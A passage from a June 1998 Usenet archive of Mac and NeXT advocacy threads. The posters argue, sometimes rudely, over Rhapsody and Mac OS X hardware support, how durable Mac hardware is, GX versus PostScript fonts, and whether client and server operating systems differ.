appeal to non-geeks, and probably primarily parents and young women with
the iMac.
Besides, the iMac has that cool handle on top - it's a snap to chuck in
the car and drop it off at CompUSA the next time you run out.
-Bob Cassidy
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Wed, 17 Jun 1998 00:41:32 -0500
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-1706980041330001@digital-00-41.hou.neoworld.net>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net>
In article <35872ab1.0@news.together.net>, "Lance Togar" <ltogar@msn.com> wrote:
>>>However, n a sense, the robust quality of the Macintosh is a thorn to
>>>Apple.
>>..
>>It never existed, so it can't be much of a problem.
You're talking out of your ass again.
How many Macintosh computers have you actually owned, Lance?
Not a one, I suspect.
So then, just how the hell would you know anything about the quality of
Mac hardware components?
'Cause you used to repair them?
Ever stopped to think that because you repaired them, the only Mac hardware
you're exposed to is faulty Mac hardware?
That's no basis for comparison.
I'ved repaired just about everything under the sun as far as computers go,
at one time or the other.
Does that mean that every computer I've repaired is a broad indication
of the quality inherent in all of the products that particular
manufacturer produces?
Hell, no.
You don't know what you're talking about, plain and simple.
Go back to your little Best Buy job slapping in memory and hard drives.
>>There's nothing unusual about the Mac hardware. In fact it's very pedestrian
>>as computers go.
When compared to what- SGI or Sun?
Commodore's Amiga?
I know you're not seriously comparing Apple hardware to Compaq,Dell, et al.
Be very careful here, Lance.
You're about to make an ass out of yourself.
>>So what's new? People who can afford faster and better computers, buy them.
>>Those who can't get left behind. This certainly wasn't invented in PC land.
"Left behind"?
How is that, exactly?
That seems to be a uniquely-PC way of thought.
I guess all PCs are hopelessly outmoded then because they can't play the
game of the year
(which, incidentally, is Goldeneye, a console game).
By definition, a computer is not obsolete if it can do the same tasks
today that you
bought it for yesterday.
Blow your money on upgrades. Run on that treadmill.
Enjoy your exercise in futility.
Meanwhile we'll get the real work done.
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
- Tom Vilot (tjv at indra dot com)
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 17 Jun 1998 05:58:18 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6m7ltq$kd8$1@news.cs.tu-berlin.de>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net> <slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net> <6m6u1h$o8d$1@cronkite.cygnus.com> <6m6gbe$fg$5@ns3.vrx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
maury@remove_this.istar.ca (Maury Markowitz) writes:
>In <6m6u1h$o8d$1@cronkite.cygnus.com> John Rudd claimed:
>> Um, if I have a server that requires C3 security, and I am of reasonable
>> competance in my security procedures, a client that is not also C3
>complaint
>> will not be allowed to connect to my server. Allowing a less secure client
>> to attach itself to a more secure server essentially means that the server
>is
>> now as insecure as the client, because your overall security is typically a
>> reflection of your weakest, not your strongest, link.
> I think you're missing my point. My point is that a client OS and a server
>OS are not the same thing. That was the claim.
<RANT>
As it stands now, that claim is correct, it is the status quo. However,
that status quo is purely a historical artifact. Why should a client
OS crash? Why should a server OS have a crappy UI? Purce coincidence
except that the OSes that crashed a lot but had nice UI were more
acceptable to people as client operating systems, whereas the OSes
that had crappy UI but were sufficiently stable were placed as servers.
UNIX was not created as a server OS, it was intended for 'personal'
computers running text processing tools and playing space wars.
The SunOS/Solaris derivative was created for technical/scientific
workstations, not servers. At the university where I got my degree,
we used Suns as clients and servers. For a while, you could even
put OpenStep on Solaris. Does that make Solaris a client OS or a
server OS?
People who use Solaris for their OPI/pre-press servers tell me that
they'd *much* rather use Macs and *hate* the UI of their 'server'
software.
A server *system* will likely be configured differently than a client,
but there is absolutely no reason they should be running a different
OS. Also, having such idiotic behavior as turning on effective
single-tasking for the console user is absolutely not necessary
on a non-broken multi-tasking OS (ie. not NT). Decaying priority
schemes do quite nicely there, they do the right thing for both
server and client systems.
Of course, marketing departments soon figured out that this artificial
distinction is *very* useful, i.e. profitable. Hence Windows NT 'server',
which is identical to the 'client' OS except for the license. So in
order to retain this profitable distinction they have started redefining
'OS' as an amorphous mass of tools that may or may not be useful for
people. And once again, people are buying it. Sigh.
</RANT>
Marcel
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Tue, 16 Jun 1998 22:49:54 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1606982249550001@dialin9182.slip.uci.edu>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com>
In article <6m72rr$8q5$1@cronkite.cygnus.com>, jrudd@cygnus.com wrote:
> They've stopped supporting nubus powermacs for future OS releases.
Well, Apple would remind you that 8.5, 8.6, and 9.0 will support all PowerMacs.
> They've announced that they will soon drop intel support in future OS
> releases (after Rhapsody). They've already dropped sparc support.
I thought Sun dropped Sparc support? But a point well taken.
> They've publicly stated that they may be dropping support for pre-G3 machines
> for MacOS X.
I'll say that the non-public indications are that there will be more
support - perhaps 604ev (Mach5? - 8600, 9600) but maybe no more than that.
But the official line remains the same and should be taken as gospel until
something public comes out.
> Apple wants to build revenue by gettings its users out of the traditional "I
> run my webserver on my 12 year old Mac" type mindset, and into the wintel
> mindset of "it's tuesday, better upgrade my PC again".
I think Apple would put forth the argument: "This is a real OS, not unlike
Windows NT - it will do what you need it to do and is worth paying for. We
need to draw a line in the sand so that we can focus on moving forward."
I keep trying to remind myself that the company that supported Apple II
hardware for some 10 years after the death of the product line was
exceptional that way. I think, however, they are over-compensating on OS
X. I'd like to see, at a minimum, 7300, 8600, 9600 support. Preferably,
7600, 8500, 9500 as well. I'd trade the latter for sufficiently low priced
hardware that was suitable for an office (iMac is *not* suitable) in mid
'99. Something in the $750 range sans monitor with acceptable speed -
decent G3. That would be low enough for me to replace most of my systems
that will not run OS X.
They seem to be comparing OS X to NT, and OS 8/9 to 95. If you want to
support that old stuff, OS 9.x will do so handily. But OS X does not seem
to be getting positioned to be more of a workstation/server OS, so I don't
see it as comparable to NT. At least not as it is currently being
promoted.
> However, n a sense, the robust quality of the Macintosh is a thorn to Apple.
> Many of their traditional user base are a lost revenue to Apple precisely
> because the machines are quite capable of remaining useful for years to come.
True. The reason I stand firm on 8600 support for OS X is that it is
_such_ a nice piece of hardware from Apple and I want to keep using mine.
SCSI throughout, a good number of bays and open slots, CPU on a
daughtercard, and easy as hell to get into.
> There has been _SOME_ "end of lifetime" movement in Apple in the past, but
> not anything near the scope of what happens in the PC world.
Well, they are starting to build that into the systems in a way. Less
expandability, cheaper components, lower cost. I have some 7200s that I
paid $900 for new 2-3 years ago. I have no qualms about replacing them
even though they still work well (if a bit sluggishly) because I have
gotten my money's worth. $300 per year is damn cheap, even by today's
standards. It'll be under $250 by the time I do replace them before OS X.
My 8600 needs to last longer, and my 8500 will only be fully depreciated
when the 7200s run out in spite of it being a year or two older.
The best way for Apple to 'end of lifetime' hardware, and it is in their
power more so than the PC market, is to simply deliver solutions in the OS
that demand the power or features of modern hardware and will be
attractive enough for me to upgrade. Make me want to upgrade. OS X does
that to an extent - but the hardware demands are, as it currently appears,
totally arbitrary. If Apple put technology into OS X that really needed a
G3 and was attractive to me, then I would be _much_ more inclined to buy
new hardware.
Isn't that what the games industry does for segments of the PC market? It
creates obsolete systems in no time that people _want_ to upgrade out of.
Maybe that is why Steve wants killer, cutting edge games on the Mac?
-Bob Cassidy
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Wed, 17 Jun 1998 02:32:50 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <6m7o07$2ap$1@news12.ispnews.com>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net> <TheLidlessEyeTh-1706980041330001@digital-00-41.hou.neoworld.net>
NNTP-Posting-Date: 17 Jun 1998 06:33:43 GMT
x-no-archive: yes
The Doom That Came To Usenet wrote:
>
>Lance Togar wrote:
>
>>>>However, n a sense, the robust quality of the Macintosh is a thorn to
>>>>Apple.
>>>..
>>>It never existed, so it can't be much of a problem.
>
>You're talking out of your ass again.
>How many Macintosh computers have you actually owned, Lance?
>Not a one, I suspect.
>So then, just how the hell would you know anything about the quality of
>Mac hardware components?
>'Cause you used to repair them?
>Ever stopped to think that because you repaired them, the only Mac hardware
>you're exposed to is faulty Mac hardware?
>That's no basis for comparison.
>I'ved repaired just about everything under the sun as far as computers go,
>at one time or the other.
>Does that mean that every computer I've repaired is a broad indication
>of the quality inherent in all of the products that particular
>manufacturer produces?
>Hell, no.
>You don't know what you're talking about, plain and simple.
>Go back to your little Best Buy job slapping in memory and hard drives.
It's cool if you prefer a Mac, but honestly, what do you feel is
robust about Macs running MacOS? Substandard multitasking? Slower
networking? The system grinding to a halt when you use the menu?
Poor threading?
>>>There's nothing unusual about the Mac hardware. In fact it's very pedestrian
>>>as computers go.
>
>When compared to what- SGI or Sun?
>Commodore's Amiga?
>I know you're not seriously comparing Apple hardware to Compaq,Dell, et al.
>Be very careful here, Lance.
>You're about to make an ass out of yourself.
Other than the fast PPC, what do you feel rises much above
pedestrian levels with regards to Mac hardware? 66/83Mhz
system buses? The usual slow Mac built-in SCSI? ADB?
The video? The sound? The one-button mouse? What?
Z
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Tue, 16 Jun 1998 23:32:43 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1606982332440001@dialin9182.slip.uci.edu>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net>
In article <35872ab1.0@news.together.net>, "Lance Togar" <ltogar@msn.com> wrote:
> This may very well be a Mac user mindset but it hardly has anything to do
> with PCs. The fact of the matter is that Apple simply can't or won't compete
> whether it's software *or* hardware. If Apple wants to sell more hardware,
> all they need to is.... ready?.... introduce more hardware. The herd will
> surely follow. Unfortunately, for Apple, the herd they need to interest
> isn't and that's an *Apple* problem.
Ah! Introduce more hardware. Why the hell didn't Apple think about that
before! That's what we need - 40 different models of varying performance
and expandability and preconfigured options. Maybe two lines - one
targetted at professionals and one targetted at consumers. Maybe we'll
call the consumer ones 'Performa' to suggest performance... Great plan.
Send to to Schiller. He'll laugh so hard he'll probably pee.
If Apple wants to sell more hardware, make more _software_ which demands
new hardware. Not software that has been engineered only to work on new
hardware - but software that _demands_ it. Runs like shit on old hardware
because it is so advanced and useful... Like NT claims to do...
> >However, n a sense, the robust quality of the Macintosh is a thorn to
> >Apple.
> ..
> It never existed, so it can't be much of a problem.
You've never seen a IIci have you? I've got several that have only ever
been cracked open to install a ethernet card and some RAM. What - 9 years
old? Runs an OS that shipped after Win95 and is still plenty useful. A bit
slow. But built like a tank. Nicely expandable, good form-factor, reliable
as hell.
I'd put at least a half dozen other models on the list of very well
designed and robust...
> >Many of their traditional user base are a lost revenue to Apple >precisely
> >because the machines are quite capable of remaining useful for >years to
> come.
> ..
> Just a dream, just a dream. If you want to sell something, you need to:
> 1) Make something worth buying at a given price point.
> 2) Generate enough interest to make the sale.
But 1) is a relative measure for replacement sales - which I think was
John's perspective. He is saying that new hardware may not be worth buying
(even at any price) if your old hardware is in no ways deficient. The rule
breaks when you buy hardware to gloat, however.
> > There has been _SOME_ "end of lifetime" movement in Apple in the past, but
> >not anything near the scope of what happens in the PC world.
> ..
> Let's see: Apple II, Apple III, Apple IIIPlus, Apple IIe, Apple IIc, Mac,
> Mac 512K, MacPlus, Mac Classic, MacETC.
So every time Apple stops shipping a model it is instantly useless? Could
you be a bigger idiot? Apple supported the Apple II line until 1995 or
some such. MacPlus would run 6.0.8. An SE/30 will run 7.6. There's been no
'end-of-lifetime' to speak of in the Mac world - generally not in less
than 8 years or so.
> > While it speaks
> >volumes about the good design of Mac hardware,
> ..
> There's nothing unusual about the Mac hardware. In fact it's very pedestrian
> as computers go.
Really? SCSI-out was pretty common back in the 386 days - standard even, I
suppose? Built in networking on every PC, perhaps? 3.5" floppy drives back
then? SVGA graphics standard as well, I imagine? So, you can say that a
stock 286 + an ethernet card would be acceptably usable by todays
standards? Or would you have to replace about 5 things in it, nearly
replacing it entirely? Perhaps that's why there are still IIci's in use
today - you simply don't need to replace any part of them to make them
useful. In hindsight, the IIci was _not_ pedestrian.
-Bob Cassidy
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Wed, 17 Jun 1998 03:05:43 -0500
Organization: (none)
Message-ID: <jdoherty-1706980305430001@aus-tx17-17.ix.netcom.com>
References: <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de> <ldo-1106982011210001@a7.hn3.wave.co.nz> <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com> <j-jahnke-1506982306430001@dapple.tormenta.com> <jdoherty-1606982001120001@aus-tx17-17.ix.netcom.com> <j-jahnke-1706980222270001@dapple.tormenta.com>
In article <j-jahnke-1706980222270001@dapple.tormenta.com>,
j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
| Actually Reader could not make use of it, given Reader sent a raw PS
| stream to the printer.
Why exactly was it that producing a PS stream meant for consumption by
a PS printer (or other intermediate PS-based tools) was such a problem?
| The GX driver choked on it big time.
Ah, yes, I see. So the problem you had was with the GX driver, and
not with PS, PDF, or Reader, then, right? Your PS printer could deal
with Reader's output, right? Probably Distiller or any other PS
interpreter you presented it to could deal with it, too, and so could
a variety of PS-based tools (like the psutils, for example). It was
only GX that gave you trouble.
See? A lot of this stuff worked pretty well, and still does. But GX
didn't, and still doesn't.
| It seems to me that Reader isn't like other programs.
It's mostly like most other programs. It doesn't accomodate GX very
well, but that does not distinguish it from most other mac apps.
| I just print stuff out at work on a duplex printer
That is without a doubt the best way to get what you want to do done.
Didn't I point that out a couple of years ago?
Best regards.
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Font formats (was OS strategy)
Date: Wed, 17 Jun 1998 02:46:11 -0500
Organization: (none)
Message-ID: <jdoherty-1706980246120001@aus-tx17-17.ix.netcom.com>
References: <uu35mn0hv.fsf@ai.mit.edu> <B1AAB19D-811B1@206.165.43.126>
In article <B1AAB19D-811B1@206.165.43.126>, "Lawson English"
<english@primenet.com> wrote:
| Stephen Peters <portnoy@ai.mit.edu> said:
|
| >Which is too bad. GX fonts should be fantastic for high-quality
| >typesetting. But when you look at the big picture, they're just not
| >going to be supported well enough to make it there.
| Too bad you snipt the rest of my post, which mentioned ATSUI
Too bad you snipped the part of his post that said "it doesn't matter
what technology can do, it only matters what it does do."
Right now, ATSUI doesn't do shit. Someday it might, but that remains
to be seen.
Preaching about technology that may or may not be useful someday doesn't
get you far with people who actually have to do things now.
There are people who have to use today's crappy computers, today's crappy
software, and today's crappy font technology to actually do things that
customers would have preferred to be done yesterday. These folks aren't
interested in your Next Big Thing until you actually make it work for
real production. GX never got that far, or even close to it. Whatever
ATSUI is, it may very well never get any closer.
Let me know when I can use your Next Big Thing for real production.
If it really works, I'll use it. If it ever works, my guess is I'll
have noticed that before you point it out.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Preemptable Window Manager?
Message-ID: <petrichEuoqnA.131@netcom.com>
Organization: Netcom
References: <Pine.SOL.3.96.980616143046.20684A-100000@ux9.cso.uiuc.edu> <B1AC359D-15AF1B@206.165.43.13>
Date: Wed, 17 Jun 1998 07:40:22 GMT
Sender: petrich@netcom9.netcom.com
In article <B1AC359D-15AF1B@206.165.43.13>,
Lawson English <english@primenet.com> wrote:
>Some of us could see it then. Eric King's idea of using GX to produce a
>Windows Manager that supported pre-emptive multi-tasking was proposed
>months before the NeXT purchase was announced.
>In fact, I'm willing to bet that Eric's analysis of what was needed is
>pretty darned close to what Carbon + Blue Box + kernel has turned out to
>be.
With the exception of the QDGX part, that's a fair assessment.
Apple's plans are for the window manager to be independent of whatever
renderers are used, though renderers will be able to share bitmaps with
the window manager. The window manager will handle:
Window order
Repainting of revealed window area
(either directly or by creating a "repaint" event)
Cursors
Dispatching of input events
(which window gets keyboard and mouse events)
And instead of GX, Apple will be using Extended QuickDraw, which
will have various PostScript and GX features in addition to plenty of
backwards compatibility.
However EQD will differ from GX in some ways, such as using
floating-point coordinates instead of fixed-point ones (4-byte integers
with the point between the middle two bytes). I wonder what hysterics Mr.
English will come up with about *that* decision :-)
Although floating point makes some calculations easier, it has
the downsize of devoting some bits to the exponent, which does not vary
that much in most graphics applications.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Violent SJ and the ICP was: Re: Reverse Technology -
Date: 17 Jun 1998 07:56:35 GMT
Organization: Alcatel/Bell
Distribution: world
Message-ID: <6m7srj$p6o@btmpjg.god.bel.alcatel.be>
References: <EuMvqx.958@AWT.NL>
Gerben Wierda writes
> >> NEXTSTEP was never cross platform (its about OS's, not CPU's).
>
> That's of course a matter of definition. The only way an OS can be
> cross-platform if it supports multiple *hardware* platforms. So, in my
> definition NEXTSTEP most definitely was cross-platform, and with the
> multiple-architecture binaries it was even possible to share binaries on the
> network.
>
The original discussion was about Java vs. NEXTSTEP as an API
to develop applications. You can get java with libraries for almost
any operating system. The NEXTSTEP API was available only on the NEXTSTEP OS
and later, as OpenStep, on Windows NT. One of our main platforms was
HP-PA RISC, and the non-availability of the APIs on HP-UX was the
reason we could not use it (back in 1995). Not many organizations
are going to replace their OS just to get the APIs to run some
applications.
> >> NEXTSTEP never had a language as good as Java.
>
> Excuse me? What about Objective-C? Especially if you count all the kits?
Let's keep talking about the language, so the kits don't count.
The Java kits are getting better and better, by the way.
As a language, Java has convinced me over Objective-C
WHILE I WAS USING IT.
Yours,
--
Ralf.Suckow ------------------------
@bln.sel.alcatel.de | All opinions are mine.
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Wed, 17 Jun 1998 04:26:42 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <6m7ulr$efb$1@news12.ispnews.com>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net> <TheLidlessEyeTh-1706980041330001@digital-00-41.hou.neoworld.net> <6m7o07$2ap$1@news12.ispnews.com> <TheLidlessEyeTh-1706980244410001@digital-02-162.hou.neoworld.net>
NNTP-Posting-Date: 17 Jun 1998 08:27:39 GMT
The Doom That Came To Usenet wrote in message ...
>
>Zico wrote:
>>
>> <Questions about Mac robustness & hardware>
>
> <answers>
Cool. Glad you didn't take my post to be a flame -- it was
a bit difficult to get my questions/points across without it
sounding like one.
As far as some of the hardware items I mentioned, I wasn't
at all saying that they were bad on a Mac, just that they
aren't really out of the ordinary, which was what Lance was
saying about the hardware.
Z
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 17 Jun 1998 01:05:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1ACC6C2-1CAFE@206.165.43.137>
References: <6m7jd7$i9k$1@news.cs.tu-berlin.de>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Marcel Weiher <marcel@cs.tu-berlin.de> said:
>"Lawson English" <english@primenet.com> writes:
>
>>So, is the core of my point invalid?
>
>Yes.
>
ONly if you're correct below.
>>Quadratics can be rendered/dealt-with faster than cubics.
>
>Not as far as I can tell.
Quadratic Beziers can be handled using nothing but shifts and rotates.
What's the most efficient strategy for handling cubic Beziers?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Font formats (was OS strategy)
Date: 17 Jun 1998 01:11:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1ACC7FF-21596@206.165.43.137>
References: <jdoherty-1706980041270001@aus-tx17-17.ix.netcom.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
John Doherty <jdoherty@ix.netcom.com> said:
[snipt]
>
>In the meantime, though, T1 fonts are still working fine for those of
>us who get paid to set type and make pages. Believe me, we'll switch if
>anything better comes along. We've seen TT, we've seen GX, we've heard
>about OpenType, and we're still waiting.
>
>Those of us who get paid to set type and make pages do realize that we
>have lots of concerns not shared by most users. But they're the concerns
>we have, and we're not giving them up. Other users can use whatever font
>technology suits their own needs.
>
>Best regards.
>
What you both seem to have missed, even though I've said it several times,
is that MacOS X's native text engine uses GX fonts out-of-the-box. ANY app
that has been Carbonized will be using the ATSUI engine, and therefore will
be able to use GX fonts.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Wed, 17 Jun 1998 08:59:51 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6m80i7$iul$1@nnrp1.dejanews.com>
References: <6m5048$189$1@nnrp1.dejanews.com> <B1AC8320-30EEA@209.152.194.60>
In article <B1AC8320-30EEA@209.152.194.60>,
"Paul Arthur" <parthur@NoSpamop.net> wrote:
> I was just trying to point
> out that things aren't completely abysmal for Mac gamers, that there are a
> good handful of excellent Mac only games that come out every year, and I'm
> still gonna end up overspending my games budget this year (bad habit).
I agree that there a good Mac games but Apple should still be doing back flips
to get more game developers to port their wares to the Mac.
> Anyway, from what I understand, there are really few games for OpenStep,
> which I understand is very popular around here, so why is everybody
> complaining? ;-)
Let's not be content with better, let's try to make our (aggregated) platform
the best at everything.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: Wed, 17 Jun 1998 09:12:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6m81aq$jrd$1@nnrp1.dejanews.com>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net> <slrn6odnt9.ckr.sal@panix3.panix.com> <6m73nu$7s9$1@nnrp1.dejanews.com> <6m74c9$8q5$3@cronkite.cygnus.com>
In article <6m74c9$8q5$3@cronkite.cygnus.com>,
jrudd@cygnus.com wrote:
> And why can't that be a boot time or possibly even a run-time tunable
> parameter?
Nothing, I suppose. But this is true of all softare i.e. you can change
algorithms and data structures at any time. I have no problems with the
scheduler found in Mach and it is fairly flexible but it many not be the
answer to every problem. BTW, Mach scheduling is actual more appropriate for
server scheduling than client scheduling IMHO.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net> <3586e401.0@206.25.228.5> <6m6vpk$79c1@odie.mcleod.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35878bc2.0@206.25.228.5>
Date: 17 Jun 98 09:26:26 GMT
"Michelle L. Buck" <buck.erik@mcleod.net> wrote:
> As a 10 year verteran of NeXTStep and Openstep, I can only partly
> agree. While used as a client with occasional remote logins,
> Openstep is ok. Put to Openstep systems in a NetInfo domain with
> each machine NFS mounting all others and network performance for
> everybody will drop substantially if one client is busy. The
> NFS implementation shipped with Openstep was obsolete when Openstep
> was new. It is fine for a client. It is terrible for a server.
I don't know if this is a question that experience is more ept to
answer. My feeling is it likely is, and in that case I gladly
defer to your greater experience and thank you for the enlightenment.
However, it seems to me, that tuning a kernel and other layers of
the OS can be done through a preferences mechanism setting different
numbers of buffers, and other parameters. That the kernel may
remain the same but use different settings for different environments.
But that the mach kernel itself, the binary, i.e. mach3.0 (the base
and core OS) is ept at being both a client and server OS (scalability
up the wazoo if you like).
If I'm wrong on this, thanks much for the clarification.
> Ok. The real difference is kernel tuning (software) and software
> tools. We agree. Server systems need different software tools
> than clients. Some tools that differ include nfsd, dns, samba,
> sendmail, pop3, pppd, lpd, etc. Most people I think consider
> these services as part of the operating system. These services
Hmm, I'm not sure I considered them part of the OS proper, but
that's just semantics I guess. I think the standard BSD 4.4 stuff
that will come with OSX will offer versions that are fine for the
general server and client. If some super task needs to be done (a
million hit per hour mail server or something) then a person may
dl the latest GNU version needed, compile, and go. It doesn't seem
to require an OS upgrade per se. Do you see what I mean? ALthough
I agree with you below, that many tools must come on a "server"
os, I would think it the rare exception where that server OS comes
complete with *all* tools requiring nothing further from or for
the administrator.
> I agree for the most part. Unfortunatly, sometimes the needs of
> clients and the needs of servers are opposed. For example, a
> console game that takes of the entire screen and almost all CPU
> is very desirable for a client. It should not even be possible
> to take over the console and or monopolize the CPU on a server.
Well, flipping the video and bit blasting doesn't seem like its
antithetical to a server OS. Flipping the vid isn't so much the
problem as the CPU hogging, right? If one has a dual Voodoo2s and
a dual 400mhz server, I would bet that a game of Quake2 wouldn't
tap all the resources of the server machine. Also, if little to
no stuff was going on the server, one could play it on a modest
133mhz machine, because no one would be tapping it. I think the
above example really misses the point to some extent. You have a
situation where no matter how you cut it, you don't have enough
cpu power, there will be a problem regardless of tuning? Perhaps
better said, let's take a well tuned server OS on a 133mhz pentium.
If NOTHING is running or demanding that many cycles, it would be
reasonable for the OS to allow near 100% utilization of the CPU
for Quake2. On the other hand, if other tasks were ongoing, it
would be reasonable for Quake2 to be slowed because you as a client
could control the hogginess of the other apps (via NICE or just
stopping their excessive execution). In practice, I really don't
see how server tuning will kill Q2 performance significantly when
running on a client machine since the client user generally dictates
what's going on in that machine anyway.
> A client application might want to saturate the PCI bus with
> streamed input from a AtoD card connected to high energy physiscs
> experiments. Saturating the bus makes network, graphics, sound,
> disk, and memory opperations slow. A server should not allow this
> one sided consumption of resources. A client that does not allow
> and facilitate it is a poor client. If the experiment was
> conducted on the machine that was the network DNS server, all
> machines on the network would come to a halt.
My question is, why do this on the server? If you have a time
critical application, and run it on a server with server tuning,
you are competing with many other people's tasks; regardless of
tuning, you will be competing on a loaded machine. If you run it
on a server with client tuning, it may well kill all the people's
performance, but why are you doing so on a server in the first
place? If you do it on a client with server tuning, and nothing
much else is going on in the system, you're going to get near 100%
of the cpu anyway.
On the other hand, I outright concede that there are situations
where this will make a differnce. I think we agree in general
principle here, so I don't even know why I rambled on above. :)
That in the general case, a half decent tune job will work fine
for the vast majority of clients and servers (like small business/lan
servers). On the extremes of use, there will be problems that may
require different kernel settings.
> It will certaily effect market perception of the server OS if
> even rudementary server addministration must be purchaed from a
> third party.
Well, I of course agree with you that many basic/essential tools
need to be there from the getgo. I believe this will be provided
in OSX via the BSD layer and base tools. Also likely through the
base OPENSTEP admin tools. That being there, of course will not
end things. People will still need to suppliment the above with
many other tools. I mean you can't provide *all* the tools everyone
will need.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
